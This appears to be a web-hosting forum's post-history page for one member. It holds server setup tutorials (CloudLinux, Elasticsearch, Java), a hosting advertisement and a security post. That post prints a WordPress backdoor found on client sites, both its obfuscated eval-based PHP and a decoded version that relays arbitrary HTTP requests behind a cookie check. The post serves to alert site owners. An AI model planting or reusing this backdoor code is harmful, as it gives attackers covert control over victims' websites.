Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - Scott Anderson

Pages: [1]
1
Hello,

First Purchase the Cloudlinux License from https://www.cloudlinux.com/all-products/product-overview/cloudlinuxos/28-trial

Now Run Below Command Via SSH on the server :

Code: [Select]
wget http://repo.cloudlinux.com/cloudlinux/sources/cln/cldeploy
sh cldeploy -k YOUR-KEY
cd /usr/local/src/
wget http://dl1.centos-webpanel.com/files/c_scripts/cloudlinux.sh
sh cloudlinux.sh

After CloudLinux installer is done it will automatically reboot the server!!


After reboot you need to build CageFS and enable it

Code: [Select]
/usr/sbin/cagefsctl --init
cagefsctl --enable-all


Thanks,
Scott

2
Tutorials / How tos? / How to Install Elasticsearch on Ubunto 14.04
« on: April 28, 2016, 06:49:56 AM »
Introduction

Elasticsearch is an Open Source Search Server based on Lucene, A platform for RESTful search and analytics. It stores all of the logs, provide a scalable searching solution.It is java based with real time and it can scale to thousand of nodes immediately.



Update OS

Code: [Select]
root@forum:~# apt-get update

Software dependencies:

  • Oracle Java 8 or above.

Add java repo to ubuntu

Code: [Select]
root@forum:~# add-apt-repository ppa:webupd8team/java
Install Oracle-Java

Code: [Select]
root@forum:~# apt-get install oracle-java8-installer

Once its Install Check the java -version

Code: [Select]
root@forum:~# java -version
java version "1.8.0_91"
Java(TM) SE Runtime Environment (build 1.8.0_91-b14)
Java HotSpot(TM) 64-Bit Server VM (build 25.91-b14, mixed mode)


Add Elasticsearch repository

Download and Install Elasticsearch Public Signing Key

Code: [Select]
root@forum:~# wget -qO - https://packages.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -
OK

Create the repolist for Elasticsearch

Code: [Select]
root@forum:~# echo "deb http://packages.elastic.co/elasticsearch/5.x/debian stable main" | sudo tee -a /etc/apt/sources.list.d/elasticsearch-5.x.list
deb http://packages.elastic.co/elasticsearch/5.x/debian stable main

Install Elastic Search


Code: [Select]
root@forum:~# apt-get install elasticsearch
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  elasticsearch
0 upgraded, 1 newly installed, 0 to remove and 156 not upgraded.
Need to get 26.9 MB of archives.
After this operation, 30.0 MB of additional disk space will be used.
Get:1 http://packages.elastic.co/elasticsearch/5.x/debian/ stable/main elasticsearch all 5.0.0~alpha1 [26.9 MB]
Fetched 26.9 MB in 2s (9323 kB/s)
Selecting previously unselected package elasticsearch.
(Reading database ... 26880 files and directories currently installed.)
Preparing to unpack .../elasticsearch_5.0.0~alpha1_all.deb ...
Creating elasticsearch group... OK
Creating elasticsearch user... OK
Unpacking elasticsearch (5.0.0~alpha1) ...
Setting up elasticsearch (5.0.0~alpha1) ...


Enable Elasticsearch to start automatically at bootup

Code: [Select]
root@forum:~# update-rc.d elasticsearch defaults 95 10
 Adding system startup for /etc/init.d/elasticsearch ...
   /etc/rc0.d/K10elasticsearch -> ../init.d/elasticsearch
   /etc/rc1.d/K10elasticsearch -> ../init.d/elasticsearch
   /etc/rc6.d/K10elasticsearch -> ../init.d/elasticsearch
   /etc/rc2.d/S95elasticsearch -> ../init.d/elasticsearch
   /etc/rc3.d/S95elasticsearch -> ../init.d/elasticsearch
   /etc/rc4.d/S95elasticsearch -> ../init.d/elasticsearch
   /etc/rc5.d/S95elasticsearch -> ../init.d/elasticsearch


Open  Elasticsearch Configuration file and edit as per requirement

Search for network.host and replace  to network.host: localhost


Code: [Select]
root@forum:~# vi /etc/elasticsearch/elasticsearch.yml
# ======================== Elasticsearch Configuration =========================
#
# NOTE: Elasticsearch comes with reasonable defaults for most settings.
#       Before you set out to tweak and tune the configuration, make sure you
#       understand what are you trying to accomplish and the consequences.
#
# The primary way of configuring a node is via this file. This template lists
# the most important settings you may want to configure for a production cluster.
#
# Please see the documentation for further information on configuration options:
# <http://www.elastic.co/guide/en/elasticsearch/reference/current/setup-configuration.html>
#
# ---------------------------------- Cluster -----------------------------------
#
# Use a descriptive name for your cluster:
#
# cluster.name: my-application
#
# ------------------------------------ Node ------------------------------------
#
# Use a descriptive name for the node:
#
# node.name: node-1
#
# Add custom attributes to the node:
#
# node.rack: r1
#
# ----------------------------------- Paths ------------------------------------
#
# Path to directory where to store the data (separate multiple locations by comma):
#
# path.data: /path/to/data
#
# Path to log files:
#
# path.logs: /path/to/logs
#
# ----------------------------------- Memory -----------------------------------
#
# Lock the memory on startup:
#
# bootstrap.mlockall: true
#
# Make sure that the `ES_HEAP_SIZE` environment variable is set to about half the memory
# available on the system and that the owner of the process is allowed to use this limit.
#
# Elasticsearch performs poorly when the system is swapping the memory.
#
# ---------------------------------- Network -----------------------------------
#
# Set the bind address to a specific IP (IPv4 or IPv6):
#
# network.host: localhost
#
# Set a custom port for HTTP:
#
# http.port: 9200
#
# For more information, see the documentation at:
# <http://www.elastic.co/guide/en/elasticsearch/reference/current/modules-network.html>
#
# --------------------------------- Discovery ----------------------------------
#
# Pass an initial list of hosts to perform discovery when new node is started:
# The default list of hosts is ["127.0.0.1", "[::1]"]

Restart elasticsearch services

Code: [Select]
root@forum:~# /etc/init.d/elasticsearch restart

Finally, test your Elastcsearch is working properly or not!

Code: [Select]
root@forum:~# curl -X GET 'http://localhost:9200'
{
  "name" : "Mephisto",
  "cluster_name" : "elasticsearch",
  "version" : {
    "number" : "5.0.0-alpha1",
    "build_hash" : "7d4ed5b",
    "build_date" : "2016-04-04T10:39:25.841Z",
    "build_snapshot" : false,
    "lucene_version" : "6.0.0"
  },
  "tagline" : "You Know, for Search"
}


Thanks,
Scott





3
Hello Christopher,

Try below Command

Code: [Select]
sudo apt-get update
sudo apt-get install software-properties-common
sudo apt-get install python-software-properties


and then run the command

Code: [Select]
sudo add-apt-repository ppa:webupd8team/java
Try this and if you are still facing the issue let us know.


Scott

4
System Security / WordPress Backdoor PHP code
« on: April 27, 2016, 04:08:19 PM »
We have detected a Backdoor PHP code in many of our clients website . It is often hidden in the WP writable directory. This backdoor is used to send PHP code execution.

Code: [Select]
<?php
$yeqqdvu 
6110;
function 
neceliemyz($rdcldpm$oqwvlr)
{
$efogjgyh ;
for(
$i=0$i strlen($rdcldpm); $i++){
$efogjgyh .= isset($oqwvlr[$rdcldpm[$i]]) ? $oqwvlr[$rdcldpm[$i]] : $rdcldpm[$i];
}
$pgdnvjl=”base64_decode”;
return 
$pgdnvjl($efogjgyh);
}
$hljnyoyp ‘KevoH68qlUKamupXVJy4IUvPlUmxdJmqmxttM04Zg9yXdcvPVu63MgG4duGPlUmxdJmqm’.
‘xttM04Zg9yvVsmSVv8xlUySVspXdcVarg97RKXNVu63UJpXdk6Pdev2HUKa’.
‘rg97RKXNHkGodJmvUJ6qlUmPIkmSVsKarO97RKXNHkWXUJZvGgAsdkwYUu6YlkZFGevSdv83HkFvmxttM04ZgA3Mlc8’.
‘xlkwhHgNamw8R038BOjjAIUrAmev3lk3XRKX7RKaADgNAHkIAMgpXGe62DgQ8DgDtI0wcrqIxrx3uIqDqB0p5ler2IhvbzO3’.
‘xZkjtlRrWrcl5l0V5MK3MDgNADgNADgyvLev3Mg97RKX8RKaZg5p9IUpbDR3Alcv4l68slUpPIu8oGe6oGiramJya’.
‘VRaSBuvoVi63mx97RKa9lew3ION8DiZtdev3MgD8D5t9lew3IOtxM04ZgA3MmeDuZw89lkZSle6Plew3’.
‘ION8DembVujuZw89lkZSlejaGUm4le6hdupvMgp9IUpbkqwGMO97RKaZg5pqlkW9UupbGeQAfOyFdsZvVcvbdevTlOb9lkZxL’.
‘Uy3Mgp5ZhpPle6hdupvUupbGeQXM04ZgA3MmimvVJ64GgN8DiZvdcpPle’.
‘w3I0QAMgpqlkW9UupbGeQXzt3MRKXXl5NaDOpxlUZFdiKXRKX7RKaADgNAmimvVJ64GgN8DiZvdcpPlew3I0DamiZvd’.
‘cpPlew3IO97RKX8RKaZgc6hHeCAmimvVJ64GR4ZgA3Mls6oIJpXduYAle6hVsvtGgA9lew3IO9Z’.
‘gs4Zg5NADgN9dJ63UupbGeQAfON5Dh4Zg5NADgN9Hu6WDR3Amw80p6mkp6’.
‘mdm3bj6wyPOQ806gGGDgYAmw80p6mkp6mdmFmwj66wjFpP66mmmF37RKaADgN’.
‘Ame2vL684lkYAfOyqGim4lkYame2vLO97RKaARKaADgNAlc8xDgA9H03tzxN9H’.
‘ONCDiZ3Vcnvd5A9Hu6WM04Ame91Mx9Zg5NADgy7RKaADgNADgNADgp1lUvdmevGDR3AIubxMe8xlgA9’.
‘Hu6WkxpXUO9AU5Name2vL684lkYAmONxZ0jXM04Zg5NADgy8RKaZg5NADgycdJDAMgpXf0N7Dg’.
‘pXfiZ3Vcnvd5A9lew3IO97MK3MDgNADi4Zg5NADgNADgNAlc8xDgA9Hh3tzxN9HhnqGim4lkYame2vLO9Am5IAme9CVJpxde6’.
‘oMgp9IUpbM04Amea1MxtAme91Mx9Zg5NADgNADgNALt3MDgNADgNADgNADgNAme8FGw89I’.
‘UpbDgY8DeZaV5bSVcKamepbGewdmevGMOyLDe8xlgA9Hu6WkxpEUO9Xzt3MDgNADgNADgy8RKaADgNAPK3MRKaADg’.
‘NAVc63GUmoDgpSGUpPlew3I04Zgs3ZgA3Mls6oIJpXduYAVu6olw89IUpbrOA9lew3IO9Zgs4Zg5NADgN9He6blgN8DgD5z’.
‘t3MRKaADgNAlc8xlkwhHgA9lew3I645He6ble6xVxmGDewqDgp1lU98f5puIknFlO9Zg5NADgy7RKaADgNADgNADgpa’.
‘lkw9DgY8Dgp1lU9AB5N5z5N5DgYAmilbdi6vDgYADvnxUeY5zt3MDgNADi3ZgA3MDgNAD’.
‘gptIUmbdUrAfOybVsmbLOAsHip3VgVAf0YAIUmxIU9aRKaADgNADgNADgG2lUpaduKsDR3+Dgp9IUpb’.
‘kxm2lUpaduK5UOtZg5NADgNADgNAmubvIkpvV5VAf0YAmebvIkK4RKaADgNADgNADgGh’.
‘duW3lkW3mxN8f5N9lew3I645Ic89LOmGBN3MDgNADgNADgNsGev2lk8FGgVAf0YAmepbGewdDspXdk6SG’.
‘UK5UOtZg5NADgNADgNARKaADgNAMO97RKaZg5NADgN9IJpYDR3AVJpxlkw2UuZSdspvLipPIJmvIUp’.
‘vMgptIUmbdUrXzt3MDgNADN3MDgNADgpxlUZFdiKAfOyNlcv4l68slUpPIu8oGe’.
‘6oGiramepbGewdDs6xdgmGBgyeKjn0pOtAmeZ3Lg97RKaZg5NADgyXl5Nameb3Giy’.
‘PVc6qVe8oVu6PHe6ble6xMK3MDgNADi4Zg5NADgNADgNAHkIAMiZ3VsySVxA9’.
‘Hip3Vw8xlUZtduWql68alkw9lUmdrw34DgDxrRN5MON8f03Ap9wrj3jXRKaADgNADgNADi4Zg5NADgNADgNADgNADgpxlU’.
‘ZFdiKAfON5Owpjjw8wjvmfjvn3D5NoDgpaGiptUJmvVJySdsZvUubvIkpvVv4tU04Zg5’.
‘NADgNADgNAPK3MDgNADi3Zg5NADgyvdiZvRKaADgNALt3MDgNADgNADgN9Vc6qGkn3DR3AD9Zf09WwKFpm03WPp6mO0’.
‘FD5zt3MDgNADi3ZgA3MDgNADimvGi6xd5N9Vc6qGkn3zt3MPK3MRKXcGkWhGevSd5yqlkW9UupbGeQxMgp9IUpb’.
‘MK3MLt3MDgNADgCSDi6qlOyqduZ1lUpqRKX8’;
$budjtact = Array(‘1’=>’r’‘0’=>’T’‘3’=>’0&#8242;, ‘2’=>’t’, ‘5’=>’i’, ‘4’=>’s’, ‘7’=>’7&#8242;, ‘6’=>’V’, ‘9’=>’k’, ‘8’=>’9&#8242;, ‘A’=>’g’, ‘C’=>’8’, ‘B’=>’L’, ‘E’=>’q’, ‘D’=>’I’, ‘G’=>’d’, ‘F’=>’1’, ‘I’=>’Y’, ‘H’=>’a’, ‘K’=>’Q’, ‘J’=>’3’, ‘M’=>’K’, ‘L’=>’e’, ‘O’=>’S’, ‘N’=>’A’, ‘Q’=>’E’, ‘P’=>’f’, ‘S’=>’v’, ‘R’=>’D’, ‘U’=>’X’, ‘T’=>’6’, ‘W’=>’5’, ‘V’=>’c’, ‘Y’=>’4’, ‘X’=>’p’, ‘Z’=>’N’, ‘a’=>’o’, ‘c’=>’m’, ‘b’=>’h’, ‘e’=>’G’, ‘d’=>’b’, ‘g’=>’C’, ‘f’=>’P’, ‘i’=>’H’, ‘h’=>’j’, ‘k’=>’W’, ‘j’=>’U’, ‘m’=>’J’, ‘l’=>’Z’, ‘o’=>’u’, ‘n’=>’x’, ‘q’=>’z’, ‘p’=>’R’, ‘s’=>’n’, ‘r’=>’M’, ‘u’=>’2’, ‘t’=>’w’, ‘w’=>’F’, ‘v’=>’l’, ‘y’=>’B’, ‘x’=>’y’, ‘z’=>’O’);
eval/*oynngj*/(neceliemyz($hljnyoyp$budjtact));

?>

We have decoded the code into PHP version

Code: [Select]
<?php

@ini_set(‘display_errors’,0);
@
ini_set(‘log_errors’,0);
@
error_reporting(0);
@
set_time_limit(0);
@
ignore_user_abort(1);
@
ini_set(‘max_execution_time’,0);

foreach (
$_COOKIE as $item)
{
if (
$item != “0a1f3623-6c23-4bdc-b9a9-25e0d392fbe7”)
exit();
}

$data file_get_contents(‘php://input’);
$data split(=,$data,2);

$b64_decode_data base64_decode(urldecode($data[1]));

$send_data unserialize(decrypt($b64_decode_data));

$result send_data1 ($send_data);

if (!
$result)
{
$result send_data2($send_data);
}

echo 
$result;

function 
decrypt($data)
{
$out_data “”;
$key $_SERVER[‘HTTP_HOST’] . $_SERVER[‘REQUEST_URI’];
$key_len strlen($key);

for (
$i=0$i strlen($key); $i++)
{
$key[$i] = chr(ord($key[$i]) ^ ($key_len 255));
}

for (
$i=0$i<strlen($data);)
{
for (
$j=0$j<strlen($key) && $i<strlen($data); $j++, $i++)
{
$out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
}
}

return 
$out_data;
}

function 
send_data1($data)
{
$head “”;

foreach(
$data[“headers”] as $key=>$value)
{
$head .= $key ” $value \r\n”;
}

$params = array(‘http’ => array(
‘method’ => $data[“method”],
‘header’ => $head,
‘content’ => $data[“body”],
‘timeout’ => $data[“timeout”],

));

$ctx stream_context_create($params);

$result = @file_get_contents($data[“url”], FALSE$ctx);

if (
$http_response_header)
{
if (
strpos($http_response_header[0], “200”) === FALSE)
{
$result “HTTP_ERROR\t” $http_response_header[0];
}
}
else
{
$result “CONNECTION_ERROR”;
}

return 
$result;
}

function 
send_data2($data)
{
// use sockets
}

Its always recommended to use Themes and Plugins from good vendors to avoid this issues .

Thanks,
Scott

5
 HostRipples - Leaders in Shared Hosting


At Hostripples , our main aim is providing good quality service at cheapest cost. Our Hosting is the cheapest hosting on internet, this was done deliberately so as to maintain a viable business over long term. In fact, everything we do at Hostripples.Com has a long-term view in mind, from the selection of hardware to software, and, especially, our staffs! We believe that we must make the best investment on our human resources so that we could provide the best support to our customers.


We are committed to providing highly reliable, transparent, secure and affordable hosting solutions to individuals and businesses.


Our team of highly qualified and motivated engineers, technicians and support staff are determined to make your hosting experience with us an unforgettable one. We believe in creating lasting relationships with our customers as building blocks of true growth and success.


Our R&D team is constantly involved in upgrading and improving our processes and services to bring our customers the most innovative and effective services. Our team of highly qualified and motivated engineers, technicians and support staff are determined to make your hosting experience with us an unforgettable one. We believe in creating lasting relationships with our customers as building blocks of true growth and success.


Our services include features like unlimited Web Space, Unlimited Band Width, Emails accounts, Unlimited Domains, php, mysql and 24/7 support as standard. We specialise in script hosting like: fantastico webhosting, php mysql hosting, and following softwares: wordpress blog hosting, mambo and joomla hosting,forum, ftp, email and multiple domains hosting. We distinguish ourselves by offering superior customer service Guarantee. You'll find the hostripples team is always friendly, helpful, understandable, and available 24x7.

Visions: To redefine your business with us by adopting global online & offline market and To make lifetime clients by providing satisfaction through friendly responses, efficient support and the most generous FREE giveaways policy at the lowest cost on the net.

Are you interested and wish to?

  • Are you interested to get Online Identification & Promote yourself or your business with domain name ?
  • Do you wish to have your own website making money for you at whatever stuff you demand?
  • Do you wish to have get solutions for your SMB Small Medium Business activities.
  • Are you ready to become online with your talent & business under Hostripples global support & services Directions?
  • Do you wish to get website hosting package at $1/month only with Web Designing & Development; SEO & Online Marketing also with several another assistance/guidance.
  • Do you wish to get everything all these so cheap?

What we provide and how?

Hostripples  has been providing advanced, and has quickly risen to leadership in the web hosting industry due to our customer-focused mission. To make hosting reliable, helpful & easy. All our equipment is carefully chosen to ensure maximum uptime and performance for your sites. Hostripples.com uses superior quality servers with dual quad core processors, convenient RAM. We use high-performance hard drives setup with raid 10 to provide increased speed and data security. Hostripples all connectivity is provided through a highly redundant network path that optimizes the routing of all data. After a long research, our network optimization is enabled by probes, which allow us to automatically route data along the best path.


Our objective?

The customer service is the single most important key to a successful hosting experience, and we goes the extra mile to provide it. Technical support is available 24 hours a day. Our average response time to a support request is less than one hour.
Our technicians are knowledgeable & capable of understanding the client expectations; we are willing to help you in any way possible. Fast sites & terrific customer service is rounded out by an offering of tools that make it easy for you build and maintain your site. We offer the very best control panel interface that is cPanel, which allows you to easily manage your scripts, e-mail, sub domains, statistics, and more.

OUR BELIEFS:

HIGH QUALITY: Our primary focus in developing our products is high quality and ease of use; we believe that simplicity is the key to elegant design. Rigorous application of this approach has made our products the foundation on which our client's satisfaction is built.

FAST FRIENDLY SERVICE: Dealing with our trained and competent professionals will give you a feeling of satisfaction that is hard to get these days. We can do this because our group of people have become a team that has developed a habit of helping all - each other and clients.

CLIENT SATISFACTION: Experience has taught us that long term retention of clients can be built only if clients are continuously satisfied; therefore, we give this the highest priority. We also understand that referrals only follow full approval of our services creating a win-win relationship for the company and our relationship.

HIGH VALUE GIVEAWAYS: Whether you are businessman with no website design experience or a professional website designer we know what you need to design a great website. Not only do we know but have provided everything you might need. Our package is complete; you will not have to buy anything. Our quality equals the best of anything you can buy on the net. Get in touch with us at sales@hostripples.com to receive more details on your demanded queries or doubts, we are glad to assist you ahead..


Hostripples - Affordable web hosting
http://hostripples.com
http://hostripples.in
http://hostripples.co.uk
Hostripples.com $1 Unlimited Hosting | $2 Unlimited Windows Hosting | Unlimited Bandwidth | Unlimited Space | Domain Name Registration

Pages: [1]